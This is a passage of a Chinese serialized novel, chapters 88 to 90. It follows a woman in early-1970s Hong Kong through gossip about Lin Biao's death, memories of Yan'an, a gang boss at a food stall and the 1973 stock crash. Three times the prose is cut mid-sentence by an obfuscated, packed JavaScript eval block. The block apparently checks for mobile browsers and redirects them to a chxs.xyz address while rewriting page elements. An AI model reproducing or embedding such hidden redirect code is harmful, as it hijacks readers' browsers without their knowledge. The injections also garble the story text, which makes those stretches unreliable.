这几句话一念出来,梅思耳边瞬间“啪啦啦”两声脆响,转头忙向左边望,两根筷子已经从白明珠手中掉落,先是落在桌面,弹跳两下便蹦到了地上,在地面还滚动几下。 梅思连忙弯腰将筷子拾起来,东妹立起身跑去厨房,便又拿一副干净筷子,摆在白明珠碗边青瓷筷托上。 白明珠这时察觉到自己的失态,却并不想掩饰,张口便道:“怎么竟然会是林将军?虽然他这一向很少出头,不过那是因为,身体差啊,不是病了许多年?梅小姐,当年你在延安的时候,他便总是住医院,是么?” 梅思点头:“林校长是去苏联治疗了好长一段时间。” 仿佛是得了确证,白明珠两手猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白明珠依然嗟叹:“我也是这样以为,像是林将军,那样聪明通透一个人,这么多年血雨腥风经历了多少?怎么就会突然莫名栽倒?这世上只有他算别人,再没人能算计到他,定然是稳坐山中,静静地看戏,小姐少爷都陪伴着父亲,太太往来传递消息。” 又说起叶太这段时候,该是怎样秘密而又活跃地周旋于各位夫人之间,闲时调停厨房,尤其是今日,八月十五家家团聚,她更加安排厨子烧几道美味的小菜,一家人对着月亮,喝茶吃菜,林将军那样的身体,必然不能饮酒的,不喝酒是好的,虽少了些风流意态,却也有一种禁欲的魅力。 见太太如同亲眼看到一般,描述□□家中此时的情形,邹千里虽然秉承西洋的礼仪,向来尊重女子的,却也终究忍不住“嗤”地笑了一声。 白明珠瞥了他一眼:“很好笑么?” 邹千里嘴唇如同蚯蚓一般蠕动:“没什么。” 白明珠“哼”了一声:“你不如便说出来,也省了我猜来猜去,别把人都当傻子呢。” 邹千里于是笑道:“你倘若真的愚笨,我难道很有面子么?太太,你样样都好,就是太过罗曼蒂克,你以为□□是什么人?贾宝玉么?” 这几年,自家太太简直好像追逐明星一样迷恋□□,那样的热衷,让人实在有些看不过去,仿佛是对自己有什么不能满足,然而即使是贾宝玉,怜香惜玉,也曾经踢伤袭人,袭人虽然比不得宝钗黛玉,也是大观园分量颇重的一个人,公子爷一个不高兴,说踢就踢,纵然当时是不知道吧,这脾气可也够瞧的,这才是大少爷本色啊。 白明珠大大地瞪起眼睛:“当初不是你说的,铁血柔情?” 邹千里摸摸鼻子:“你只当我方才的话都没说吧。” 白明珠翻了个白眼,一个男人,有话不肯直说,你的意思我怎会不明白?不过是说林将军一介武夫,难免粗暴,未必如同旁人以为的那般好,然而我总不相信世上竟没有那样的人,聪明绝顶,才华横溢,不世出的天才,金戈铁马横扫千军,却又温柔缱绻,对夫人一心一意,忠诚体贴,这才是理想的男人啊,当做很好笑么?你还摸鼻子,以为自己是楚留香么? 梅思笑着便劝:“先生想来没有那样的意思,说起来九月十三号,正是阿春婆过世的日子。” 邹千里点点头:“无论是默默无闻的阿春婆,还是显赫的中共领袖,都可以在同一天倒霉。” 88.第八十八章 爱文生狭路相逢 第八十八章 爱文生狭路相逢 七二年的除夕,是在二月十四号,梅思之前便已经打定主意,除去正月初一拜拜年,其余几天都闭门不出,哪里都不肯去,只在家中歇息。 清早一碗热汤面下肚,梅思便坐在房中看小说,一看就是三个多钟头,抬眼一瞧闹钟,已经是十一点二十几分,该准备午饭。 虽然是大年三十,很隆重的一天,不过梅思只打算把年夜饭办丰盛一点,午饭简单吃吃也就罢了,省时间,况且两餐都吃那样隆重,肠胃不太能消化,到了这个年纪,不比十几二十岁,食欲旺盛,仿佛多少都吃得下,如今可是但凡稍多吃一点,便感觉脾胃受累。 因此梅思站起身来,走入梅林,引燃树枝,往锅里倒入昨天的隔夜饭,便炒了一碗米饭。 秃黄油炒饭,娇黄的颜色很像蛋炒饭,只可惜天气寒冷,没有香葱,好在有腌冬笋,嚼起来咯吱咯吱,这一餐有饭有菜。 梅思端着瓷碗回到室内,坐在桌边,未曾吃饭之前,抬眼先往柜子上一看,秃黄油还有整整三大瓶,够自己吃到今年九月。 新进增添的美味,去年深秋,各处送秃黄油,东妹姐白太太那边后来又送一瓶,还送了苏凤香一瓶。 就是自己的房客,戚宝珍骆滨虹那里,十一月过去收租金的时候,也送了一大瓶。 戚宝珍连声说:“很重的礼,梅小姐破费!” 当时自己笑答:“费功夫倒是真的。” 梅思自家知自家事,在旁人看来,一瓶秃黄油很得花几个钱,可是对于自己来讲,耗费的主要是时间。 相距梅林大约十公里,步行两小时有一个湖,从前自己少有机会能够过去,现在可是好了,秋风一起,巴不得在那湖边搭起一个帐篷,湖里面给自己下了十几个柳条笼,专门捉螃蟹,小的都不要,只要四两半斤的,一个个张牙舞爪的螃蟹送进蒸笼,蒸熟后专取蟹黄蟹膏,至于蟹肉,壳子里容易挖的,便挑出来煮了粥,至于蟹腿蟹钳里面的肉,因为懒得用剪子,便索性丢弃不用。 为此,梅思也觉得有点暴殄天物,但实在没有耐心一点点通出里面的肉,吃蟹是一件风雅的事,有专门的工具,蟹八件,虽然没有用过,但总听说过,螃蟹给人写进诗里,画在图上,录进笔记里,不必真的入口,只看那些字句,便有醺醺的醉意。 梅思从前很少吃螃蟹,如今终于有了机会,这一湖的螃蟹,连同湖光山色,都只有她一个人享用,捉了上百只蟹,硕大肥美,倘若是依照旧日的理想,很该雅致一回,对着菊花,剔净了蟹肉,把蟹壳凑在一处,依然摆成一只螃蟹,只是手头没有凑手的用具,也实在不耐烦细细地挖肉,终究不再是闺中闲雅的大小姐,如今的自己,性子颇有些粗糙急躁,于是便只吃了蟹壳里的肉,把腿子钳子都丢掉了。 此时梅思低头吃饭,秃黄油炒饭不是第一回吃,味道确实鲜美,与蛋炒饭不同,却依然让自己想起延安。 蛋炒饭与延安的联系,倒并不是在延安常吃蛋炒饭,而是实在难得,当年熊晖就曾经闹过这样的笑话,把小米饭当做蛋炒饭,这个典故后来流传到特别班,段葵芳斜着眼睛笑说:“真是大小姐,总往好东西上面去想,还蛋炒饭哩!等过一阵你们看吧,顿顿小米饭煮南瓜,一个个都要饿瘦了,到那时就要走了。” 而自己在刮宫之后,有一阵异常饥饿,离开医院,躺在窑洞的炕上,焦文俊问:“想吃一些什么?” 自己有气没力地答应:“鱼。” 故乡的禾花鱼,用砂锅慢慢地煨,煨到骨头都酥烂,刚好这时候补身体。 焦文俊皱起眉头咧咧嘴:“罢了,延安这个地方,你还想吃鱼哩,我倒是知道有人得了半条咸鱼,想吐的时候便舔一舔,压一压那股反胃。” 如此缺水,哪里有鱼?咸鱼也是宝贵的。 自己那时问:“她怎么了?” “怀孕。那可是首长夫人呢。” 也不过能做到如此,至于我们这样级别,尤其你又是擅自打胎刮宫,咸鱼就不要想了。 梅思喘息着叹两口气:“有鸡蛋也好。” 特别想吃荷包蛋,或者水煮蛋,本来爱吃煎鸡蛋,多多地加葱花,配米饭香喷喷,但这时一想到稍油腻一点的东西,就感到难受。 焦文俊连连摇头:“举凡鸡蛋牛奶鸡鸭排骨,都是好难得的,听说就连毛主席请客,炒鸡蛋都是大菜。等我出去看能不能找一点大米,回来给你熬粥。” 那一回焦文俊终究是没能找来白米,晚上依然是小米饭,只是水煮洋芋加了一点豆酱,就是顶好的调味,从此梅思对鸡蛋便形成了执念,从前在家中,鸡蛋乃是很寻常的食物,来到延安,本来就是为了吃苦,没想过依然过那种娇滴滴的小姐生涯,只是这一番创伤,整个人都空虚了,鸡蛋虽然只能够弥补身体的匮乏,却觉得仿佛对精神也能慰藉。 忆念延安,不由得又想起□□,就在过年之前,已经确定了,九月十三号那一架失事的喷气式飞机,里面的乘客便是□□一家。 梅思叹一口气,赫赫威名的将军□□,就是这样的结果,世人都为了他而慨叹,想到从前在延安遥遥几面,自己也伤感。 尤其白明珠在多方确证之下,再不能怀疑,每次见面,便拉着自己诉说:“身体里有九颗子弹呢,给打成马蜂窝,在那沉沉黑夜的飞机里,到底发生了什么?那样的才华风度,竟然是这样的死法,让人实在无法接受。” 这种说法太过诡异,自己便要怀疑:“英国人在苏联听说的事,未必便是真的,可是个好新闻,都拿着他来赚钱。” 虽然不能像白明珠一样,以一种少女情怀看待□□,但在这样的情感渲染之下,难免也九曲回肠,□□将军,梅思之前只是敬仰他的革命功绩,这些年总是听白明珠讲述□□,性情啦,生活习惯啦,自己便也觉得,仿佛与这个伟大的人有了一种个人之间的连接,到如今他离奇死亡,感觉便不是画像上人物的逝去,而是一个活生生的人失去生命。 炒饭吃了小半碗,梅思的念头又转到叶群身上,她是确认已经与□□一同遇难了的,白明珠一心向往□□,对叶群虽然不讨厌,却也不很感兴趣,梅思因为在女大多见叶群,对于叶群,要比对□□来得亲切,叶群也更加是一个真实的人,她还记得课余时间种菜,劳作一阵之后坐下来歇息,大家谈论延安: “上顿下顿倘若不要吃洋芋,便只有菠菜。” 梅思急忙说:“我们桂林,春天好该吃笋子,还有猫爪菜。” 熊晖生怕慢了一步:“宜兴山上,菊花脑马兰头。” 叶群抿嘴一笑:“北平这时候的荠菜很是鲜嫩,包馄饨很好的。” 麻德芳笑着说:“你原来是北平人,我起初还以为是江苏浙江。” 叶群相当清秀,眉眼细致,北方的女子多是浓眉大眼。 陈露云咯咯乐着一推熊晖:“倒是她,好像北方姑娘一样。” 熊晖五官开阔明朗,有一种豪爽。 大家哈哈地笑。 叶群掠了一下鬓边的短发:“其实我家祖上是在福建,闽侯。” 父亲早年为了前途,离开闽侯来了北平,自己便是在北平出生长大。 麻德芳猛一拍手:“果然是这样,我猜得不错,你是南方人,难怪这样水润。” 潘岳荣忙问:“闽侯有什么好吃的?北平我都知道的,烤鸭涮羊肉。” 叶群细细回顾:“锅边糊、海蛎饼、菊花鲈鱼……” 还讲述做法,家里厨子怎样做福建食物,鱼丸佛跳墙之类,一众女大的学生听得口水直流,纷纷回顾自己家中的菜肴。 梅思幽幽地说:“我们广西,虽然比不得广东繁华,厨子到外面,不给人家重金聘请,可是芋头扣肉实在是人间美味,必定要用荔浦的芋头,又香又糯。” 熊晖拍着她的肩膀笑道:“你若是还在老家,便可以大吃芋头扣肉,不必这样九曲回肠的了。” 清幽婉转的腔调,好像朱淑真的词风,这么久的时间,大家都有改变,唯独她,依然没有巾帼英雄的豪迈。 梅思噗嗤一笑:“你不要取笑我,我若是为了吃扣肉,也不来延安,那样一个黑暗残酷的家庭,黄老爷几个姨太太,我母亲虽然是正室,也不很得志,就算为赌这一口气,我也不想留在那里。” 同学们纷纷诉说身世,问到叶群:“听说叶科长家庭是很有名的?” 叶群笑一笑:“我父亲是国民党的少将,我母亲是三姨太。” 一个叫做施剑佩的同学点点头:“所以你也来了延安。” 二十几年过去,如今再次回顾,仿佛褪色的旧照片重新染色,画面又生动起来。 而叶群已经死在温都尔汗。 将要吃完这一餐饭,梅思站起身准备收拾碗筷,忽然感觉一股液体从□□流出,她登时便想到:“月事来了。” 这两天虽然没有隐隐腹痛,但内裤偶尔可见点点血斑,算日子又近经期,便已经有所准备,她于是放下了碗,拿出草纸,赶快先查看,果然是月经已至,于是连忙将草纸垫在月经带里,把月经带系在腰间。 在梅林之中,烧了热水刷碗,火堆旁边,一边冲洗碗筷,梅思一边想着,已经是四十九岁的人,居然还有月经,也是自己有些疏忽,竟然吃蟹黄炒饭,其实用蘑菇炒一炒也就罢了,蟹黄是寒性啊,经期要少吃寒凉的东西,今日只为一个贪嘴,就吃了蟹黄,虽然如今月经极少,一天多一点便完,终究是不好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815872|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要说这梅林之中,也和延安一样,冬天没有鸡蛋,否则自己也不会为了图便利,便直接用蟹黄来炒,蘑菇还要浸泡,有点麻烦,又或者下一回用酸菜来炒饭的好,酸酸咸咸也很是开胃。 春节之后,远东会重新营业,梅思照旧每天去看股票,越看越是皱眉头。 尹宗翰觌面相逢,笑嘻嘻问:“梅小姐,什么事烦恼?” 梅思道:“股价升得太高。” 尹宗翰右眉毛斜上一挑:“我们吃股票的饭,价格高莫非倒不好?” 梅思眉头皱得更深:“高得不正常,让人心慌。” 尹宗翰笑笑回道:“却也不必太过忧虑,香港这些年,经济势头都很好,局面也平稳,大陆那边的文化革命,没有波及香港,大家都可以专心发财,就连外国人也看好香港,许多洋钱涌入,便推高股价,要我看,香港的股市还很可以再兴旺一阵,不需要‘一朝被蛇咬,十年怕井绳’。” 要说六七暴动的时候,那叫一个惨,股价跌到底,不过那之后就好了,否极泰来,或许大家都厌倦了动荡,便平了心气。 另外也得说,那一回大暴乱,给了总督府一记警钟,总要想一想红色大陆的前车之鉴,于是不再放任资本主义野蛮生长,递减工时,一天八小时,女工享有产假,按照中共的术语,“缓和阶级矛盾”,所以香港的劳工界与资方便也不再那样针锋相对,工商一直繁荣,股票价格高也是情理之中,像是梅思这样担心,实在有一点杞人忧天。 然而梅思却依然轻轻摇头,尹宗翰一乐,各人自有想法,许多时候劝了也是白劝,不如说一点其她话题:“长江实业就要上市,梅小姐可要买入?” 听到“长江实业”的名字,梅思的面色登时暗沉下来:“我不要买。” 尹宗翰又一个诧异:“为什么?业内都认为,一定会大涨,这些年长江发展很好。” 梅思面色鄙夷:“他家圈钱的手腕,太过强悍了些。” 尹宗翰上下打量她一回,笑道:“莫非还想着六七年那一桩事?其实未必和李先生有关。” 梅思冷笑一声:“虽然是分厂,但他难说不知道。” 关闭分厂一个部门,这样重大的事,经理莫非不请示大老板李嘉诚?就算他当时竟然不知晓,后来闹得那样轰轰烈烈,他也该晓得了,依然毫不让步,秉性可见一斑,堪比当年的黄老爷。 尹宗翰很有些好笑,却依然诚恳地劝:“不管怎样,在商言商,我们做股票行,只要从股票赚钱便好,是非善恶何必多问?股票上还要做道德文章么?” 金融交易为什么要承载那样多的意识形态?作为经纪,最重要的是替客人赚钱,这便是讲良心。 梅思微一晃头:“我反正是不想买。呀,好该吃午饭,尹先生哪里吃?” 尹宗翰呲着牙乐:“来时路上买了汉堡,店虽小,名字却好,‘大家乐’,彩头不错。” 半个月后,十一月一号礼拜三,西人万圣节,梅思当晚也想要消闲,下午从外面回来,也不上楼,坐在楼前台阶上,从包里取出一本书,先读一阵书,抬眼看看天色渐暗,便站起身,溜达到了左近爱文生。 将近七点,客人已经爆满,好容易与另外三个人拼桌,坐下来点了炸大肠配米饭,十几分钟之后上了菜,大肠下面还垫了菠萝,好大一盘,一餐定然吃不完。 同桌几个人都是埋头吃饭,忽然间不远处一阵骚动,一个男人叫道:“桌面让出来让出来!” 梅思回头一瞥,黑西装戴墨镜,仍然认得出为首是阚德龙;几个原本的食客纷纷起身避让,灯光映出紧绷的面色,敢怒而不敢言。 那几个14K帮众占住位置,整个大排档都听到阚德龙的笑声:“要说这石硖尾没什么好,只是爱文生实在不错,隔一阵不吃就会想。” 然后比划着手吩咐老板:“黑椒猪手、乳鸽、炒蛏子、肉末苋菜,还要吃什么你们点,今天我请客!” 一个打手嘎嘎地乐:“黄金虾啊龙哥,日进斗金,黄金万两!” 阚德龙伸长胳膊,隔着桌面狠拍一下他的肩膀:“你会说话!今天长江股票上市,我买三块五,已经涨到六块了,要说赚钱,还是这些人会赚。” 说着取出一支烟,另一个打手连忙给他点烟,点了两次没点着,阚德龙不耐烦:“笨蛋,点个烟都不会,我自己来。” 梅思自从发现是他,便深深低下头,背对那一桌只顾吃饭,陡然后面一阵喝彩: “厉害啊龙哥,钞票点烟,一点就着。” “只有龙哥有这种气魄!明天晒马,必然是我们赢的!” 梅思再坐不下去,从背包里取出猪腰形铝饭盒,把饭菜都装了进去,起身悄悄走掉了。 89.第八十九章 滔天洪水侥幸避过 第八十九章 滔天洪水侥幸避过 在这样全民狂喜之中,时间来到一九七三年,三月九号礼拜五,下午四点多,梅思坐在贺健莲家中谈天,贺健莲一边纳鞋底子,一边抬头望望她,叹一口气。 梅思手里端着水杯,笑问:“健莲姐,叹什么气?” 贺健莲摇摇头:“她梅姨,这一阵你可是得闲了,往常这时候看不到你,如今不单单礼拜天,平常你都在家里了。” 昨日当的晚班,今天白天休息在家,贺健莲便做些家事,梅思出街回来,顺便过来找她说几句话。 梅思笑盈盈:“可不是么,这些日子悠闲似神仙,睡到后枕出老茧。” 贺健莲又望她一眼:“按说你忙了这么多年,到如今也该歇一歇,养养身体,你那身子骨儿一看就不是耐摔打的,比不得我们庄户人家,这些年亏你怎么熬下来。只不过她梅姨啊,那股票都卖了,真的能行?不是我不信你,你莫要给人点化儿了,存心坑你。” 赶在年前全卖出,一分不留,如今也不见买进,然而那股票,听人家说还是在涨。 梅思含笑道:“健莲姐,不要多心,这原是我自己的主意,股票这两年是涨得好,只是‘物反常即为妖’,这样的势头实在有些古怪,香港的经济是不错,却也好不到如此,如今各个倒不用做事,只买股票便可生活,哪里有这样的好事?我只怕‘月满则亏,水满则溢’,物极必反,后事不知如何。” 就如同贾府,“烈火烹油,鲜花着锦”,然后倒了。 虽然半懂不懂,剔去了那文绉绉的几句,也能听个大概,贺健莲便也觉得仿佛确有可疑,皱起眉头细细寻思:“也是这个理儿,‘人无千日好,花无百日红’,我原说呢,我们工厂里,与我一同当班的,就不肯干了,回家专门买股票,说做工太辛苦,不如股票赚钱快,还轻松,我就想呢,倘若人人都如此,钱从哪里来?股票一张纸,就能变出东西?” 这时候门一开,□□人还没进来,声音先到了:“妈,我们回来了!” 然后一眼望见梅思:“啊哟梅姨,你来了!玲女,叫梅嬷嬷。” 五岁的玲女很乖巧地叫了一声:“梅嬷嬷。” 梅思笑着答应,心中则在说,我这样快便成了嬷嬷。 贺健莲便问□□:“今天看的那幼稚园怎么样?” □□一撇嘴:“妈,可别提了,老师上课还听无线电,股票,鬼迷心窍,都钻进钱眼里。” 贺健莲当即便说:“我就说你把小玲子放在家里,左邻右舍给看看便得了,你非要送到那样烧钱的地方去,还不是一样?不如在这里,这楼里的孩子,哪个不是这么长大的?就你养的金贵。” 冯老太在床上颤巍巍抬手道:“我也能看着。” 这一下不但□□,连梅思都暗暗摇头,老太太今年快九十岁了,虽然没有重病,还能动,吃饭穿衣都能自己应付,但指望她照看幼童,显然是不行的。 梅思叹道:“大家都为了股票疯狂。” 贺健莲转头望向她:“她梅姨,我如今是发现,这世道真邪性啊,一个个不干正经事,那股票的纸面上,哪怕是成千上万地写数目字儿,街面上倘若空荡荡,能换来什么东西?都不琢磨琢磨的,做梦发财呢。” 越说越是来劲,挺直身体伸长脖子,昂昂然道:“谁想到香港屁大的地方,股票涨到这么高?这就是‘庙小妖风大,池浅王八多’……” □□听到这两句,连忙打断她:“妈,您别当着孩子说这话,她若是学到了幼稚园,人家会笑的。” 贺健莲望了小孙女一样,哼哼两声,转了话头:“好容易今天请假,你也歇歇吧,这两天你那身上不方便,别太累着了。” 梅思笑问:“□□怎么了?” 莫非又怀孕? 贺健莲道:“她来那个了。” 梅思恍然,原来是月经,便笑说:“可该好好补养一下。” 贺健莲应声道:“红糖卧鸡蛋,在锅里热着呢。” 梅思笑道:“倒是补血的好办法。” 然后便谈起女人的话题: “女人这一辈子,可得留神保养,每个月都流血呢,有了孩子还得喂奶,容易亏血。” “要多吃一点有营养的东西。” “也不能着凉。” 冯老太虽然耳背,这几句偏偏听见了,半撑起身子:“民国的时候,有几年闹饥荒,我那好事情都断了。” 梅思点点头:“有一阵很艰难,月经便不顺畅。” 容易推迟还罢了,每次都只是一点点,深褐色,干巴巴,仿佛干燥的颜料,自己也知道是病了,之后条件好一些,能吃到鱼虾,便加紧调养,过了一段时间,月经便畅通了,颜色也是鲜红,一看便知道气血比较充盈。 贺健莲满含同情地点点头:“延安苦啊,真亏你能熬下来。” 梅思本是个大小姐,能让她苦到好事情都差点断掉,除了延安,还能是哪里? □□端了一个瓷碗,从厨房里出来,坐在一边吃着,笑道:“梅姨当初在延安吃什么?” 梅思悠悠回忆:“初来延安,其实还是好的,有羊肉啦,猪肉啦,白米白面也能吃到,只是到后来,封锁太严重,就只有小米、高粱米,有一阵竟然只有黑豆,荤腥也几乎见不到,菜汤里能有一点点油星,就好像金光普照。” □□咧了咧嘴:“那种日子,我可过不了,梅姨真难为你。” 梅姨这样的人,一看就是大户人家的女子,生来体面,该享受富贵,难以想象居然会过那种生活,还一住就是三年。 梅思噗嗤一笑:“其实也不算什么,习惯了就好,小米饭吃惯也是香的,许多人都长壮了,只是菜肉少些。过去平民百姓,生活多是苦的,听人讲,江西的苏维埃,粮食很少的,菜只是清水煮南瓜。” □□缩了缩脖子:“那可多难过啊,看来我天生当不了革命者,回头一定要吃一大碗叉烧饭压压惊。” 贺健莲笑骂道:“瞧你这点出息!就只看眼前吃喝,叉烧饭鸡排饭,在过去,哪管革命不革命,小民百姓日子都不是好过的,咱家开着豆腐坊,庄子里就是大户人家呢,穷人吃顿豆腐都是过年!” 梅思登时便想到萧红的小说,“不过了,买块豆腐吃去”,作为黄家的小姐,少女时代自然没有这样的经历,只不过在小说中读来,格外新鲜刺目。 到这时梅思看看怀表:“快五点了,健莲姐你想来该烧饭,我也要回去料理一下。” 贺健莲顺口挽留两句:“吃了饭再去。” 梅思连脑子都不用过:“不必客气,下次再来。” 从墙角提起袋子,她方才从外面“买菜”回来,顺路到这里坐坐。 梅思走出去,贺健莲关了房门,转头从桌上拿起一把小菜,冲着□□挥了两挥:“你梅姨刚拿来的,香炉草,可是好东西,我们当年啊,但凡遇上灾荒,就靠它活命,野外采一把,煮成汤,就能填一填肚子,如今你们年轻人已经不认得这些,要吃菜就只晓得到市场去买,这倘若突然遇到了事情,可怎么过?” 冯老太靠在床头连连点头:“要说那一年……面条菜……” □□噗嗤一乐:“行了奶奶,您别给我妈加证据了。” 贺健莲撇了撇嘴:“一说这些,你就不爱听,这一向吃饱了饭,就忘了从前,当年啊……得说香炉草还是药,调经活血的,女人干血痨,就用这个炖鸡来吃,治病。” □□一把抓过那束野菜:“妈,我去洗菜。” 六点刚过一点,菜盘在桌上摆齐,家里人这时候都回来了,明强视线一扫桌面:“这是什么菜?” 绿得可爱。 玲女脆生生答道:“舅舅,香炉草。” 明强摸一摸她的头:“玲女真聪明。” 玲女得了夸赞,愈发要上进:“能当药!” 明强诧异了:“真的么?治什么病?” 玲女:“治……治病。” □□盛饭上来,嘎嘎地乐:“治血痨的,月经不调,妈说是好药,哥哥你可要多吃点。” 明强登时一脸古怪:“我不用了。” 妹妹,你别糟蹋人了。 贺健莲用筷子一敲□□的手背:“尽胡说八道,你哥是个男的,哪能得这个病?不过倒是也能治咳嗽,他爹啊,你这一向总爱咳嗽,多吃点面条菜,清清你那肺。” □□笑道:“爸爸少抽烟就好了。” 廖长民“唔唔”两声,无可无不可,伸出筷子夹起七八条清炒香炉草。 就在这时候,隔壁有男人一声大叫:“一千七百七十四点!” 贺健莲的筷子差一点掉下来,她忙握紧了,站在那里怔怔回味几秒钟,重重叹一口气:“股票又涨了啊!” 廖长民立起耳朵,静静听了片刻,邻居再没有声音,便埋头吃饭。 礼拜天总是很快过,到礼拜一,鄂维义清早下楼,在报摊要一份《工商日报》,本来只是照例买报,回头便用它来包油条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822344|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哪知眼睛一溜头版,《伪造合和股票》,鄂维义的脑子登时“嗡”地一声响,股市要悬?!礼拜五收盘,刚刚冲到一千七百七十四点啊! 这一整天,鄂维义在工厂都昏头涨脑,几次出错,给上司骂:“老鄂,你是怎么回事?这份工还要不要做?你不看看你这个年纪,手慢脑子也慢,留下你全靠老板心善,你可该晓得要用心些。” 他忍着气恼焦虑,好容易熬到傍晚散工,回到楼中问薛荣发:“收盘怎样说?” 薛荣发道:“无线电里讲,降了四十点。” 又劝道:“你先不要急着跺脚,不过是四十点,原来一千七百多点呢,小降一点不算什么,就好像我们当年打仗,胜负兵家常事,难免吃小小的败仗,你平日不也是常说,股票就是这样起起落落?但总还是涨的。” 鄂维义的心稍稍安定,片刻之后又动荡起来:“荣发老弟,我只怕我们手里的也是假股票。” 薛荣发脸上的肌肉登时抽搐起来:“真的么?当真会这样,满市场假股票?那岂不是要快卖掉才好?” 鄂维义抬起右手,在空中往下虚按了按:“先不要急,再等等看。” 就仿佛当年国共相争,一时不知道哪边能赢,或者最后不会大挫也未可知。 于是这一等,便等到了四月底,恒生指数一路跌到了八百一十六点,几乎腰斩,鄂维义捶胸不迭:“早知如此,该全卖掉的。” 薛荣发扶着额头:“如今不像当年那样大胆了,这回居然躲过一劫。” 虽然也没能完全避开,损失了一些钱,但总比老友少赔一点,维义老兄那可是,还剩了三分之一的本金在里面。 两个人相对哀叹,几分钟之后,薛荣发仰头往屋顶望了望,伸出一根手指向上空指点:“要说居然还得算梅小姐聪明,当初听说她卖了股票,我们还笑她来着,没风没雨,居然不做了。” 鄂维义也是一阵出神:“是啊,她是怎么算出来的?真好像诸葛亮,未卜先知的,旁人都掉在水里,就她全身而退。” 香港的股票市场一片凄风惨雨,深陷在里面的人惶惶不可终日,梅思倒是悠闲,时常便是去图书馆坐一坐,看看最近几天的报纸,了解一下世界上最新发生的事,再就是借还书,除此以外,便在梅林之中消闲,又或者走访一下老朋友。 一直到了十一月,二号这一天,梅思搭车来远东会,进入交易厅,举头环顾四面,这个冷清哦,空空荡荡,仿佛日寇逼近时的桂林城,从前这里可是人头攒动,人山人海的。 梅思走到挂牌的地方,正在看着上面的价格,忽然有人在她后面招呼:“梅小姐……梅小姐?” 语声略显迟疑。 梅思倏忽转头一瞧,笑道:“尹生。” 尹宗翰见果然是她,便松一口气,微微含笑:“果然是你,方才乍一见,还以为看错。梅小姐,你好久不来了。” 许多老熟人都好久不见。 梅思轻轻地笑:“天气太热,就只想待在家里。” 尹宗翰一点头:“是啊,这样行市,还来看什么?” 香港的夏季是酷暑难耐,然而股票市场可是凉快得很,冷到结冰,老板对经纪们讲:“挂牌价高一些,尽量不要斩仓。” 可别赔钱卖啊!然而哪里容易? 假股票的事情一出来,人们疯狂抛售,远东会简直成了瘟疫之地,人人避之唯恐不及,抛空生怕迟了片刻,股票交易厅从前挤得水泄不通,如今可是门可罗雀,站在里面大声咳嗽一声,都能够听到回声,如此的凄凉啊。 尹宗翰注目望着梅思:“幸好你卖得早。” 梅思笑一笑:“然而这一阵手头也紧。” 股票之前虽然涨势吓人,很不正常,如同发了高烧,可是投资的人毕竟赚到了钱,那一段自己过得也不错,舍得买了两个新皮包,只是自从卖空了手头的股票,风险倒是没了,然而收入骤减,只靠房租,虽然不会断炊,却也不是很充裕,所以这一年自己都过得谨慎,不像从前那样舒心惬意,走在街上,瞥见橱窗里光鲜的物件,衣服啦,旅行箱啦,只看看便罢了,轻易不肯掏出钞票来。 尹宗翰嘴角扯得更向上一点:“无论如何,避开这个大灾祸就是好的。啊,梅小姐,你可有听说,李夫人回去了大陆?” 梅思微微一愕:“哪个李夫人?” “就是从前的代总统,李宗仁先生的大夫人,李夫人啊!” 梅思脑子一转,瞬间记了起来:“竟然是她!” 90.第九十章 闲谈李夫人 第九十章 闲谈李夫人 “大夫人竟然也回去了,她回了桂林!” 官塘邹公馆的客厅中,白明珠激动地感叹,报纸上都说了,就在十月三十一号,李宗仁夫人李秀文,从美国飞回大陆。 梅思手捧着茶杯,轻轻点头:“大夫人这也算是叶落归根,她在美国这么多年,想来依然不习惯。” 东妹端了马蹄糕过来:“都说美国好,可是我琢磨着,美国再好,终究不是自己的家乡,要吃点什么,只怕都吃不到,我们在香港,要吃桂林的豆腐乳都费力。况且说话也听不懂,像是太太和幺姐,都懂外国话,我若是跟着去了那里,走到街上就是个聋子,一个字都不明白,倘若走远了,问不到路不能回来。” 梅思抿着嘴笑:“东妹姐就可以住唐人街,那里都是中国人,街面上的招牌也是中国字,要吃什么菜呢,就到中国馆子里去吃,只是贵一些。” 东妹撇一撇嘴:“反正我是不愿意去,当初幸亏太太阻拦着先生,没有去美国,否则只怕太太在那里也过不惯,连大夫人如今都回来了呢!” 白明珠连连点头:“长安居大不易,当年看着不行了,一个个都想往美国跑,我就和我们先生说,美国是那么好去的?像是李代总统那样的人,自然可以过去,我们有什么呢?哪有那样厚的家底,到美国去消磨?不如就过去香港,一水之隔,却是英国的地方,又有许多同胞,住着亲切,好容易劝住了。代总统七八年前就回来了,如今大夫人也回来,想来那美国,是真不容易住。” 还想着那边许多老同学,到美国能发达,然而哪里容易?这么多年不联络,见了面谁会记得? 梅思笑着说:“代总统和大夫人,说是因为眷恋祖国,才回国的。” 邹千里给夫人数落,面子上有些挂不住,当即附和:“是啊是啊,那是爱国的决定,哪像你猜疑的,以为是住不下去了?没想到交锋多年,到后来竟然握手言和。” 